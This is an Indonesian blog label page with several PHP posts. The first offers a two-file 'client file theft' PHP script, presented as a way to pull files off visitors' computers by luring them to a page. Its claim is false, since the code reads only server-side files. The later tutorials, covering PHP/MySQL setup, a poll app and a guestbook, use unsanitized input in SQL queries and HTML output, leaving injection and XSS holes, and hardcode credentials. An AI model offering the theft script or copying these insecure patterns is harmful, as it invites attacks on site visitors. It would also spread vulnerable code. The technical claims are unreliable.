Showing posts with label PHP. Show all posts
Showing posts with label PHP. Show all posts

Wednesday, April 13, 2011

Bahaya pencurian file pada komputer client menggunakan script

Sebelum saya memperjelas isi dari pada judul ini, saya memohon agar apa yang dipraktekkan disini tidak menjadi suatu hal yang negatif buat orang lain. Kalaupun anda ingin mempraktekkannya dengan madsud jahat, segala sesuatunya bukan merupakan tanggung jawab saya.
Oke, kembali ke topik. Anda pasti tidak menduga, bila suatu ketika saya tahu apa rencana dibalik data yang Anda simpan pada komputer anda. Saya tidak perlu panggil dukun dan begadang seharian untuk menunggu bapak dukun menyelesaikan aksinya, he..he..he. Tahukah anda ?? dengan script PHP berikut ini, file-file yang ada di komputer client dapat diambil dengan mudah dan terselip di server Anda. Cukup dengan menipu korban untuk membuka situs yang sudah disisipi script ini, maka secara otomatis ia akan mengambil (upload) ke path server tujuan anda.
Berikut Scriptnya :


1. File Pertama
<?
// Script ini buat yang ngerti PHP
// Nama File : ScrCuri.php
// Fungsi : Pemproses pengiriman file ke server
$host='localhost';
$port=80;
// Ubah variabel path letak posisi upload.php
$path='/upload.php';
// Ganti variabel fileku dengan file yang ingin kamu ambil
$fileku = "c:\\\autoexec.bat";
$content_type = "text/plain"; // type mime file
// Start Header
srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);
$data = "--$boundary";
$content_file = join("", file($fileku));
$data.="
Content-Disposition: form-data; name=\"fileku\"; filename=\"$fileku\"
Content-Type: $content_type
$content_file
--$boundary";
$data.="--\r\n\r\n";
$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";
// End Header
$result="";
// Buka Koneksi
$f = fsockopen($host, $port);
fputs($f,$msg.$data);
// Dapatkan tanggapan + hasil
while (!feof($f))
{
$result .= fread($f,32000);
}
fclose($f);
// Cetak hasil
echo $result;
?>


2. File Kedua
<?
// Nama File : upload.php
// Fungsi : Penangkapan isi header atau request yang dikirim dan melakukan proses penyalinan file dari client

if (is_uploaded_file($fileku))
{
// Ubah variabel namasimpan sesuai path file penyimpanan yang kamu inginkan
$namasimpan="/backup_backup_backup/test/autoexec.bat"
copy($fileku, $namasimpan);
// Tampilkan hasil
echo "Oke";
}else{
echo "Gagal copy file >> '$fileku'.";
}
?>


Nah, setelah kamu menyimpan script kamu pada server/host kamu. Maka, untuk membuktikannya coba akses script scrcuri.php. Mis : http://bloganda.com/scrcuri.php , ingat!!! konfigurasi harus cocok lho... biar kamu gampang, simpan aja kedua file di root server kamu jadi, file upload.php diakses pada http://situskamu.com/upload.php. Udah ngerti??... Yap... aku harap begitu.. he..he..he. Untuk coba-coba akseslah script scrcuri.php pada lingkungan windows... apa yang terjadi??? Wowww... sebuah file autoexec.bat telah menyisip diserver kamu, alias diambil dari komputer client kamu sebagai percobaan.
Sebelum kamu merasa puas, perlu anda ketahui bahwa script diatas, belum sempurna (Makanya jangan puas dulu.... ). Mau tau kekurangannya ???.. Yeahhh... saya tau kamu juga tau iya khan???. Kita ketahui, pada file percobaan kita... hanya mampu mengambil file tertentu saja yang belum tentu ada dikomputer target. Misalkan aja file c:\tomero.gif , otomatis semua komputer belum tentu punya file kayak gitu. So, solusinya.. tambahkan aja javascript dan manipulasi dikit kedua script diatas... Tau khan.. k'lo ngga tau biarin aja buat PR dirumah atau bila perlu belajar PHP dulu yang buaaanyaaakk. Ngga bisa juga?? Jurus yang paling jitu adalah , Copy-Paste aja..." Dasar orang males...he..he..he..
Akhirnya, sekali lagi... segala sesuatu yang terdapat pada info ini, kegunaanya ada ditangan anda. Saya cuma menulis dan mengembangkan ide dengan madsud agar anda berhati-hati dengan dunia Internet walaupun terbilang asyikkk... Maafkan, jika ada kesalahan atau hal yang kurang berkenan dihati anda. Terima kasih.

Instalasi PHP

Paket instalasi PHP dapat didownload di situs resmi PHP (http://www.php.net/downloads.php). Paket instalasi PHP tersedia dalam bentuk Windows Installer maupun paket terkompresi (zip). Disarankan untuk melakukan instalasi dengan menggunakan paket terkompresi karena sekalipun sedikit lebih rumit tetapi lebih fleksibel. Paket PHP dalam bentuk terkompresi juga disediakan pada CD yang disertakan buku ini. Paket PHP yang disediakan adalah versi 5.0.4 yang pada saat buku ini ditulis merupakan paket stabil terbaru.

Bagi pengguna Linux, PHP juga menyediakan source code nya dalam bentuk tarballs (*.tar.gz). Namun disarankan untuk mendownload paket binary yang disediakan oleh masing-masing distro supaya instalasinya lebih mudah.

Bagian ini akan menjelaskan instalasi PHP pada sistem operasi Windows. Karena tersedia dalam bentuk terkompresi, paket tersebut harus diekstrak terlebih dahulu ke folder x:\PHP dengan x adalah partisi utama Windows. Anda juga boleh mengekstraknya ke folder yang lain namun sebaiknya nama folder tersebut tidak mengandung spasi karena dapat menyebabkan masalah.

Modul utama dari paket aplikasi PHP terdapat pada file php5ts.dll. File tersebut harus dapat diakses oleh sistem dengan mudah. Ada tiga kemungkinan yang tersedia untuk menempatkan file tersebut, yang pertama adalah pada direktori sistem Windows (x:\windows\system32), pada direktori web server (x:\Inetput\wwwroot), atau dimasukkan ke dalam direktori yang ada pada variabel Path. Sebaiknya dipilih opsi ketiga karena akan mempermudah proses upgrade.

Untuk memasukkan direktori x:\PHP ke dalam path lakukan langkah-langkah berikut:

  1. Klik kanan My Computer hingga muncul System Properties.

  2. Masuklah ke tab Advanced.

  3. Klik tombol Environment Variables.

  4. Pada bagian System Variables sorot variabel Path dan klik tombol Edit. Lihat gambar 1.

  5. Pada bagian Variable Value tambahkan direktori x:\PHP dengan terlebih dahulu memberi tanda pemisah berupa titik koma atau semicolon (;). Jadi misalnya pada bagian Variable Value telah terdapat teks berikut:


%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem

Tambahkan direktori x:\PHP hingga menjadi sebagai berikut:

%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;x:\PHP

Sekali lagi PCplus ingatkan untuk mengganti huruf x dengan partisi utama Windows atau partisi di mana Windows terinstall.

Setelah melakukan ekstraksi paket PHP dan memasukkan direktori hasil ekstraksi ke dalam Path, persiapkan file php.ini. Pada paket distribusi PHP tersebut telah terdapat dua buah file yang dapat digunakan sebagai contoh file php.ini, yaitu php.ini-dist dan php.ini-recommended. Disarankan menggunakan file php.ini-recommended sebagai basis file php.ini. Mudahnya, copykan saja file php.ini-recommended menjadi file php.ini.

Beberapa hal yang masih perlu disunting dari file php.ini adalah sebagai berikut:

  • Berilah nilai entry doc_root dengan direktori web server IIS, jadi entry tersebut akan menjadi sebagai berikut:


doc_root = x:\Inetpub\wwwroot

  • Berilah nilai entry extension_dir dengan direktori file-file ekstensi PHP. Letak direktori tersebut adalah di x:\PHP\ext. Jadi entry tersebut akan menjadi sebagai berikut:


extension_dir = d:\PHP\ext

  • Pada bagian Dynamic Extensions hilangkan tanda semicolon (;) di depan file ekstensi yang ingin diload. Dalam pembahasan buku ini, ekstensi yang harus diload adalah php_mysql.dll.

  • Berilah nilai entry browscap dengan letak file browscap.ini yang ada. Pada Windows XP, letak file browscap.ini adalah di d:\windows\system32\inetsrv\browscap.ini sehingga entry tersebut akan menjadi sebagai berikut:


browscap = x:\windows\system32\inetsrv\browscap.ini

File browscap.ini berisi informasi tentang kemampuan suatu browser (browser capabilities). File browscap.ini termutakhir dapat didownload di http://www.garykeith.com/browsers/downloads.asp.

  • Jika Anda menggunakan IIS, ubah nilai cgi.force_redirect menjadi 0.


Pastikan file php.ini dapat diakses (dibaca) oleh semua user.

Proses terakhir adalah konfigurasi web server yang digunakan. Jika Anda menggunakan IIS lakukan langkah-langkah berikut ini:

  1. Buka IIS dengan mengaktifkan menu Start > Control Panel > Administrative Tools > Internet Information Services.

  2. Buka node (local computer) > Web Sites > Default Web Site.

  3. Klik kanan pada node Default Web Site dan pilih properties.

  4. Pada kotak dialog Default Web Site Properties masuklah ke tab Home Directory.

  5. Pastikan nilai Execute Permissions adalah Scripts only.

  6. Klik tombol Configuration.

  7. Pada kotak dialog Application Configuration klik tombol Add.

  8. Untuk menggunakan CGI Binary, pada kotak teks Executable isikan x:\PHP\php-cgi.exe dan pada kotak teks Extensions isikan .php.

  9. Untuk menggunakan HTTP Authentication, ISAPI Filter harus diaktifkan. Pada kotak dialog Default Web Site Properties masuklah ke tab ISAPI Filters. Klik tombol Add.

  10. Pada Filter Properties, masukkan PHP sebagai Filter Name dan x:\PHP\php5isapi.dll sebagai Executable.

  11. Masuklah ke tab Home Directory. Pastikan nilai Execute Permissions adalah Scripts only.

  12. Klik tombol Configuration.

  13. Pada kotak dialog Application Configuration klik tombol Add.

  14. Untuk menggunakan ISAPI Filter, pada kotak teks Executable isikan x:\PHP\php5isapi.dll dan pada kotak teks Extensions isikan .php. Jika CGI dan ISAPI Filter ingin diaktifkan bersama-sama, gunakan ekstensi yang berbeda untuk keduanya, misalnya CGI menggunakan .php dan ISAPI Filter menggunakan .php5.

  15. Restart IIS dengan mengaktifkan menu Action > Stop dan kemudian Action > Start.


Untuk memeriksa apakah instalasi PHP berhasil dengan baik, pada direktori \Inetpub\wwwroot buatlah sebuah file bernama info.php yang isinya adalah sebagai berikut:

<? phpinfo() ?>

Bukalah sebuah browser dan pada bagian address ketikkan http://localhost/info.php. Jika muncul tampilan account list anda, berarti instalasi PHP berhasil.

Bila perlu buat juga file serupa dengan nama info.php5 untuk memeriksa apakah modul ISAPI PHP juga berjalan dengan baik.

Jika Anda menginginkan file index.php dijalankan secara otomatis saat memasuki direktori tertentu, buka kembali Default Web Sites Properties dan masuklah ke tab Documents. Pastikan opsi Enable Default Document aktif, kemudian klik tombol Add dan tambahkan item index.php.

Instalasi MySQL

PHP memiliki hubungan yang erat dengan database MySQL. Pada contoh-contoh program PHP yang diberikan di edisi ini beberapa di antaranya menggunakan database MySQL.

Paket instalasi MySQL dapat didownload di situs resmi MySQL (www.mysql.com) atau langsung ke alamat URL berikut: http://dev.mysql.com/downloads/index.html.

Paket instalasi MySQL for Windows tersedia dalam bentuk Windows Installer sehingga mudah diinstall. Anda tinggal mengekstrak file download dan menjalankan file setup.exe. Selanjutnya ada wizard yang menuntun Anda dalam proses instalasi. Pada akhir proses instalasi Anda diminta untuk melakukan konfigurasi terhadap server MySQL. Konfigurasi juga tersedia dalam bentuk wizard. Jika Anda tidak terlalu memahami opsi-opsi yang ada pada wizard konfigurasi tersebut, Anda dapat mengambil nilai-nilai defaultnya saja.

Instalasi PHPMyAdmin

PHPMyAdmin adalah aplikasi berbasis web yang dapat digunakan untuk melakukan administrasi database MySQL.Paket instalasi PHPMyAdmin tersedia dalam bentuk paket terkompresi. Ekstraklah paket tersebut ke folder \Inetpub\wwwroot. Secara otomatis paket akan diekstrak ke folder \Inetpub\wwwroot\phpMyAdmin-2.6.2.

Sunting file config.inc.php dengan memasukkan alamat URL lengkap aplikasi PHPMyAdmin pada entry $cfg['PmaAbsoluteUri']. Contoh:

$cfg['PmaAbsoluteUri'] = 'http://localhost/phpMyAdmin-2.6.2';

Kemudian isikan password root MySQL pada entry $cfg['Servers'][$i]['password']. Contoh:

$cfg['Servers'][$i]['password'] = 'kuncirahasia';

Sunting pula file php.ini dengan menghapus karakter semicolon (;) di depan entry extension=php_mbstring.dll.

Untuk menjalankan PHPMyAdmin, tuliskan alamat URL PHPMyAdmin pada bagian address browser.

Membuat Aplikasi Jajak Pendapat Dengan PHP

Akhir-akhir ini aplikasi jajak pendapat cukup marak terdapat di situs-situs internet. Masalah yang diangkat pun bisa beragam, misalnya politik, sosial, budaya, sains, dan lain-lain. Situs-situs yang bernuansa khusus juga seringkali memiliki jajak pendapat sesuai dengan nuansa yang dimilikinya. Misalnya situs sepakbola akan mengangkat jajak pendapat siapa pemain terbaik di suatu liga, situs tentang Linux akan mengangkat jajak pendapat tentang distro apa yang paling favorit, situs handphone akan mengangkat jajak pendapat tentang ringtone favorit, dan masih banyak lagi.

Nah, sekalipun tema yang diangkat bisa bermacam-macam, namun pada dasarnya aplikasi jajak pendapat cukup mudah untuk dibuat. Umumnya aplikasi jajak pendapat hanya terdiri dari 2 halaman saja, yaitu form HTML yang berisi item-item pilihan dan hasil dari jajak pendapat tersebut. Hasil jajak pendapat dapat ditampilkan dengan bantuan HTML biasa atau dengan suatu aplikasi yang dapat menghasilkan gambar-gambar yang menarik sehingga hasil jajak pendapat dapat ditampilkan dalam bentuk pie chart misalnya. Untungnya, PHP juga dapat digunakan untuk menghasilkan gambar.

Aplikasi jajak pendapat yang akan dibahas pada bagian ini nantinya akan memberikan output berupa Pie Chart.

Untuk menyimpan hasil jajak pendapat diperlukan database, sehingga aplikasi ini juga akan menggunakan MySQL.

Aplikasi jajak pendapat yang kita buat kali ini akan mengangkat tema Pemain Terbaik Liga Italia musim kompetisi 2005/2006. Mengapa bukan tema yang berbau komputer? Distro Linux favorit misalnya? Yah, semata-mata hanya untuk “having fun” saja agar otak kita nggak berisi komputer melulu.

Mula-mula kita persiapkan dahulu databasenya. Kita akan buat database baru bernama poll sebuah tabel bernama favplayer yang berisi dua buah kolom yaitu “nama” dan “suara”. Langkah-langkahnya adalah sebagai berikut:

mysql> create database poll;

mysql> use poll

Database changed

mysql> create table favplayer(

-> nama varchar(20),

-> suara int);

Query OK, 0 rows affected (0.05 sec)

Anda juga dapat memanfaatkan phpMyAdmin untuk membuat database di atas.

Sebagai nilai awal kita isikan dahulu beberapa data sebagai berikut:











































NamaSuara
Del Piero101
Totti23
Nedved215
Toni73
Adriano36
Kaka41
Ibrahimovic100
Trezeguet88
Cassano25

Setelah database disiapkan, sekarang kita buat halaman form yang berisi item-item pilihan. Script dari halaman item pilihan diberikan pada listing 1.






Listing 1. Halaman item pilihan

<HTML>

<HEAD>

<TITLE> Jajak Pendapat </TITLE>

</HEAD>

<BODY>

<H1> Jajak Pendapat </H1>

<H2> Pilih pemain terbaik <br>

Liga Italia musim 2005/2006 </H2>

<FORM NAME="poll" METHOD="post" ACTION="result.php">

<?

$host = "localhost";

$user = "myuser";

$pswd = "rahasia";

$conn = @mysql_connect($host,$user,$pswd)

or die("Koneksi gagal: " . mysql_error());

mysql_select_db("poll",$conn);

$strSQL = "select nama from favplayer";

$qry = @mysql_query($strSQL,$conn)

or die("Query salah: " . mysql_error());

while ($row = mysql_fetch_array($qry)) {

?>

<INPUT TYPE="radio" NAME="player" VALUE="<?=$row['nama']?>">

<?=$row['nama']?> <BR>

<?

}

?>

<BR>

<INPUT TYPE="submit" VALUE="VOTE!">

</FORM>

</BODY>

</HTML>

Berilah nama skrip ini dengan polling.php. Jika dijalankan di browser akan nampak seperti gambar 1.

Item-item pilihan yang terdapat pada halaman ini diambil dari record-record pada field “nama” tabel favplayer. Dengan demikian jika isi dari field nama diubah, otomatis item pilihan tersebut akan ikut berubah, sehingga memudahkan Anda untuk berganti tema jajak pendapat.

Jika Anda klik tombol “VOTE!”, maka data-data pada form ini akan diolah di halaman result.php. Nah, isi skrip file result.php diberikan pada listing 2.






Listing 2. Hasil jajak pendapat

<?

Header("Content-Type:image/jpeg");

// --- Koneksi ke MySQL --- //

$host = "localhost";

$user = "root";

$pswd = "";

$player = $_POST['player'];

$conn = @mysql_connect($host,$user,$pswd)

or die("Koneksi gagal: " . mysql_error());

mysql_select_db("poll",$conn);

// --- mengupdate suara --- //

$strSQL = "update favplayer set suara=suara+1 where nama='$player'";

$upd = @mysql_query($strSQL,$conn)

or die("Query salah: " . mysql_error());

// --- Ambil data dari database --- //

$strSQL = "select * from favplayer";

$qry = @mysql_query($strSQL,$conn)

or die("Query salah: " . mysql_error());

// --- menentukan data yang akan dibuat pie chartnya --- //

$i=0;

while ($row=mysql_fetch_array($qry)) {

$data[$i] = $row["suara"];

$str[$i] = "$row[nama]" . " = " . "$row[suara]";

$i++;

}

// --- deklarasi variabel --- //

$total = 0;

$d = array();

$kor_x = array();

$kor_y = array();

$t_x = array();

$t_y = array();

// --- menentukan besar sudut setiap bagian pie --- //

for($j=0;$j<=$i-1;$j++) {

$total += $data[$j];

}

$d[0] = 0;

for($x=1;$x<=$i;$x++) {

$d[$x] = ($data[$x-1]/$total) * 360;

$d[$x] += $d[$x-1];

}

// --- menentukan warna --- //

$img = ImageCreate(700,700);

$warna[0] = ImageColorAllocate($img,0,255,0);

$warna[1] = ImageColorAllocate($img,255,0,0);

$warna[2] = ImageColorAllocate($img,0,0,255);

$warna[3] = ImageColorAllocate($img,255,0,255);

$warna[4] = ImageColorAllocate($img,255,255,0);

$warna[5] = ImageColorAllocate($img,128,128,128);

$warna[6] = ImageColorAllocate($img,255,128,0);

$warna[7] = ImageColorAllocate($img,0,150,255);

$warna[8] = ImageColorAllocate($img,112,0,255);

$warna[9] = ImageColorAllocate($img,128,255,0);

$warna[10] = ImageColorAllocate($img,255,255,255);

$hitam = ImageColorAllocate($img,0,0,0);

$putih = ImageColorAllocate($img,255,255,255);

ImageFill($img,0,0,$putih);

// --- membentuk pie --- //

for($k=1;$k<=$i;$k++) {

// --- menggambar bagian-bagian pie --- //

ImageArc($img,150,150,250,250,$d[$k-1],$d[$k],$hitam);

// --- mencari koordinat batas --- //

$kor_x[$k] = round(150+(125*cos(deg2rad($d[$k-1]))));

$kor_y[$k] = round(150+(125*sin(deg2rad($d[$k-1]))));

// --- mencari titik tengah --- //

$t = round(($d[$k-1]+$d[$k])/2);

$t_x[$k] = round(150+(62.5*cos(deg2rad($t))));

$t_y[$k] = round(150+(62.5*sin(deg2rad($t))));

ImageLine($img,150,150,$kor_x[$k],$kor_y[$k],$hitam);

}

// --- mewarnai bagian pie --- //

// --- sekaligus membuat keterangan --- //

for($k=1;$k<=$i;$k++) {

ImageFillToBorder($img,$t_x[$k],$t_y[$k],$hitam,$warna[$k-1]);

ImageFilledRectangle($img,310,20*$k+50,320,20*$k+60,$warna[$k-1]);

ImageString($img,2,330,20*$k+50,$str[$k-1],$hitam);

}

// --- output gambar -- //

ImageJPEG($img);

?>

Pada dasarnya isi skrip ini adalah menghitung jumlah total suara, kemudian mengambil seluruh data jajak pendapat dari database dan kemudian menampilkannya dalam bentuk pie chart.

Sekarang aplikasi tersebut sudah siap. Jika Anda memberikan suara Anda, maka hasil jajak pendapat akan ditampilkan seperti pada gambar 2.

Anda dapat menambahkan sedikit skrip JavaScript untuk mencegah agar pemilih tidak dapat men-submit form sebelum dia memberikan suaranya.

Membuat Buku Tamu Dengan PHP

Buku tamu merupakan salah satu fitur standar yang terdapat dalam situs-situs di Internet, terutama situs-situs pribadi. Hampir dapat dipastikan, aplikasi buku tamu akan menggunakan database yang fungsinya adalah menyimpan daftar tamu yang pernah mengunjungi situs tersebut dan memberikan komentarnya. Untuk itu mula-mula kita persiapkan sebuah database – tentu saja menggunakan MySQL – dengan struktur sebagai berikut:



















FieldTipe Data
NamaVarchar(30)
EmailVarchar(40)
KomentarText

Tabel disimpan dengan nama guest, sedangkan databasenya disimpan dengan nama gsbook.

Halaman web yang nantinya dirancang akan memiliki 3 halaman, yaitu halaman form buku tamu, halaman daftar tamu, dan halaman terima kasih.

Halaman form buku tamu akan berisi form untuk pengisian buku tamu.

Halaman daftar tamu akan berisi daftar tamu yang telah mengisi buku tamu.

Halaman terima kasih akan berisi ucapan terima kasih atas diisinya buku tamu.

Kita mulai perancangan kita dari halaman form buku tamu. Halaman form buku tamu berisi form untuk pengisian buku tamu. Pada halaman ini nanti akan ditambahkan suatu skrip yang akan melakukan verifikasi terhadap form yang belum diisi. Skrip halaman form buku tamu selengkapnya diberikan pada listing 1.






Listing 1. Form buku tamu 

<HTML>

<HEAD>

<TITLE> Form </TITLE>

// <!--[CDATA[-->
JavaScript">
// ]]>

function pesan() {

var ceknama = document.forms[0].elements[0].value;

var cekemail = document.forms[0].elements[1].value;

var cekkom = document.forms[0].elements[2].value;

if (ceknama.length == 0) {

window.alert("Anda belum memasukkan nama Anda");

} else {

if ((cekemail.length == 0) || (cekemail.indexOf("@",1) == -1)) {

window.alert("Periksa kembali alamat email Anda");

} else {

if ((cekkom.length == 0)) {

window.alert("Anda belum berkomentar");

} else {

document.forms[0].submit();

}

}

}

}

</SCRIPT>

</HEAD>

<BODY>

Selamat Datang di Situs Kami


Silakan isi identitas Anda

<FORM NAME="identity" METHOD="post" ACTION="guest.php">

<PRE>

Nama : nama">

Email : <INPUT TYPE="text" NAME="email">

Komentar    :

<TEXTAREA NAME="komentar" ROWS=10 COLS=30>

</TEXTAREA>

<INPUT TYPE="button" VALUE="Submit" onClick=pesan()>

</PRE>

</FORM>

</BODY>

</HTML>

Simpanlah file dengan nama bukutamu.html. Halaman form buku tamu akan terlihat seperti gambar 1. Yang perlu diingat adalah bahwa walaupun memiliki ekstensi .html, halaman ini harus tetap dijalankan di virtual direktori dengan mengetikkan http://localhost/direktori/namafile.html di bagian address browser.

Pembahasan dari skrip di atas adalah sebagai berikut: pada bagian head terdapat skrip JavaScript, skrip ini digunakan untuk verifikasi terhadap form yang belum diisi. Skrip tersebut dimulai dari bagian yang bertanda // .

Mula-mula skrip tersebut mengambil nilai dari setiap elemen form. Setelah itu nilai setiap elemen tersebut diperiksa, jika kosong, maka akan muncul peringatan. Bagian berikutnya merupakan form HTML biasa, tetapi pada bagian submit akan ditambahkan sebuah event handler yang mengacu pada skrip JavaScript yang terletak di bagian head sebagai berikut:

<INPUT TYPE="button" VALUE="Submit" onClick=pesan()>

Halaman berikutnya adalah halaman terima kasih. Halaman terima kasih merupakan halaman yang akan menampilkan ucapan terima kasih sekaligus di dalamnya terdapat skrip PHP yang digunakan untuk mengolah data yang dimasukkan pada halaman form buku tamu. Skrip selengkapnya diberikan pada listing 2.






Listing 2. Halaman terima kasih 

<HTML>

<HEAD>

Buku Tamu

</HEAD>

<BODY>

<?

$host = "localhost";

$user = "root";

$pwd = "";

$conn = @mysql_connect ($host, $user, $pwd)

or die ("Koneksi Gagal, karena " . mysql_error());

mysql_select_db("gsbook",$conn);

$strSQL = "INSERT INTO guest (nama,email,komentar)

VALUES ('$_POST[nama]','$_POST[email]','$_POST[komentar]')";

$qry = @mysql_query($strSQL,$conn)

or die ("Query salah, karena: " . mysql_error());

?>

Terima kasih atas kesediaan Anda mengisi buku tamu.


<HR>

Klik di sini untuk melihat daftar para pengisi buku tamu.

</BODY>

</HTML>

Simpanlah file dengan nama guest.php. Halaman terima kasih akan terlihat seperti gambar 2.

Skrip di atas pada prinsipnya hanyalah membuka koneksi ke mysql dan menyimpan data-data yang telah dimasukkan ke dalam tabel. Pada bagian bawah terletak sebuah link yang merujuk pada halaman daftar tamu.

Klik di sini untuk melihat daftar para pengisi buku tamu.

File table.php inilah yang nantinya menampilkan daftar para pengisi buku tamu yang disajikan dalam bentuk tabel. Skrip selengkapnya dari file table.php diberikan pada listing 3.






Listing 3. Halaman daftar tamu 

<HTML>

<HEAD>

Buku Tamu

</HEAD>

<BODY>

<CENTER>

<?

$host = "localhost";

$user = "root";

$pswd = "rahasia";

$conn = @mysql_connect ($host, $user, $pswd)

or die ("Koneksi Gagal: " . mysql_error());

mysql_select_db("gsbook",$conn);

$strSQL = "Select * from guest";

$qry= @mysql_query($strSQL,$conn)

or die ("Query salah: " .  mysql_error());

$jml = mysql_num_rows($qry);

echo "Jumlah pengisi = $jml
";

?>

<TABLE BORDER=1>

<TR>

<TD BGCOLOR=#f32142> Nama </TD>

<TD BGCOLOR=#f32142> Email </TD>

Komentar

</TR>

<?

while ($row = mysql_fetch_array ($qry)) {

echo "<TR>";

echo "" . $row["nama"] . "";

echo "<TD BGCOLOR=#f7efde>" . $row["email"] . "</TD>";

echo "" . $row["komentar"] . "";

echo "</TR>";

}

?>

</TABLE>

</BODY>

</HTML>

Anggap saja buku tamu tersebut telah diisi oleh banyak orang, sehingga jika skrip di atas dijalankan tampilan yang didapatkan kurang lebih seperti pada gambar 3. Nama-nama yang tertera di sana hanya fiktif saja, jadi apabila ternyata ada yang memiliki nama dan email yang sama, itu hanya kebetulan belaka.

Nah, seandainya situs tersebut merupakan situs yang ramai oleh pengunjung dan pengisi buku tamunya banyak, maka menampilkan daftar tamu seperti skrip di atas tentu kurang baik karena halaman tersebut akan menjadi sangat panjang.

Alternatif yang digunakan adalah menampilkan sejumlah record tertentu per halaman dan di bagian bawah halaman terdapat link untuk menuju ke halaman berikutnya atau sebelumnya. Kira-kira seperti hasil search di Google itu lho. Untuk membuat bentuk halaman seperti itu, berikut akan diberikan salah satu contoh skrip alternatifnya. Gantilah isi skrip file table.php dengan skrip seperti pada listing 4.






Listing 4. Halaman daftar tamu alternatif 

<HTML>

<HEAD>

Daftar Tamu

</HEAD>

<BODY>

<CENTER>

<?

$host = "localhost";

$user = "root";

$pswd = "rahasia";

$conn = @mysql_connect ($host,$user, $pswd)

or die ("Koneksi Gagal: " . mysql_error());

mysql_select_db("gsbook",$conn);

$hal = $_REQUEST['hal'];

$batas = ($hal - 1) * 5;

$strSQL1 = "Select * from guest limit $batas,5";

$strSQL2 = "Select * from guest";

$qry = @mysql_query($strSQL1,$conn)

or die ("Query salah: " . mysql_error());

$tot = @mysql_query($strSQL2,$conn)

or die ("Query salah: " .  mysql_error());

$jml = mysql_num_rows($tot);

$kel = $jml/5;

if ($kel==floor($jml/5)){

$page = $kel;

} else {

$page = floor($jml/5)+1;

}

$pct = 100/($page+4);

echo "Jumlah pengisi = $jml
";

echo "Jumlah halaman = $page
";

echo "<HR>";

?>

<TABLE BORDER=1>

<TR>

<TD BGCOLOR=#f32142> Nama </TD>

<TD BGCOLOR=#f32142> Email </TD>

Komentar

</TR>

<?

while ($row = mysql_fetch_array ($qry)) {

echo "<TR>";

echo "<TD BGCOLOR=#f7efde>" . $row["nama"] . "</TD>";

echo "<TD BGCOLOR=#f7efde>" . $row["email"] . "</TD>";

echo "<TD BGCOLOR=#f7efde>" . $row["komentar"] . "</TD>";

echo "</TR>";

}

?>

</TABLE>

<HR>

<TABLE BORDER=0>

<TR>

<?

$lebar=$pct*2;

$prev=$hal-1;

$next=$hal+1;

echo "<TD WIDTH=$lebar"."%>";

if ($hal!=1) {

echo "<A HREF='table.php?hal=$prev'> Prev </A>";

} else {

echo "Prev";

}

echo "</TD>";

for ($i=1;$i<=$page;$i++) {

if ($i==$hal) {

echo "<TD WIDTH=$pct"."%>";

echo "$i";

echo "</TD>";

} else {

echo "<TD WIDTH=$pct"."%>";

echo "<A HREF='table.php?hal=$i'> $i </A>";

echo "</TD>";

}

}

echo "<TD WIDTH=$lebar"."%>";

if ($hal!=$page) {

echo "<A HREF='table.php?hal=$next'> Next </A>";

} else {

echo "Next";

}

echo "</TD>";

?>

</TR>

</TABLE>

</BODY>

</HTML>

Contoh skrip ini menggunakan query string di dalam menentukan halaman mana yang aktif saat itu. Setiap link untuk menuju ke suatu halaman tertentu akan memiliki bentuk seperti ini:

<A HREF=”table.php?hal=$i”>

Variabel $i akan berisi nomor halaman yang dituju.

Karena skrip table.php mengalami sedikit perubahan, maka skrip pada halaman terima kasih (listing 2) perlu dimodifikasi menjadi sebagai berikut:

Klik di sini untuk melihat daftar para pengisi buku tamu.

Mengapa query string “hal” diisi dengan angka 1? Tentu saja agar link tersebut menuju ke halaman 1 dari file table.php.

Nah, hasil run dari skrip table.php yang baru dapat dilihat pada gambar 4.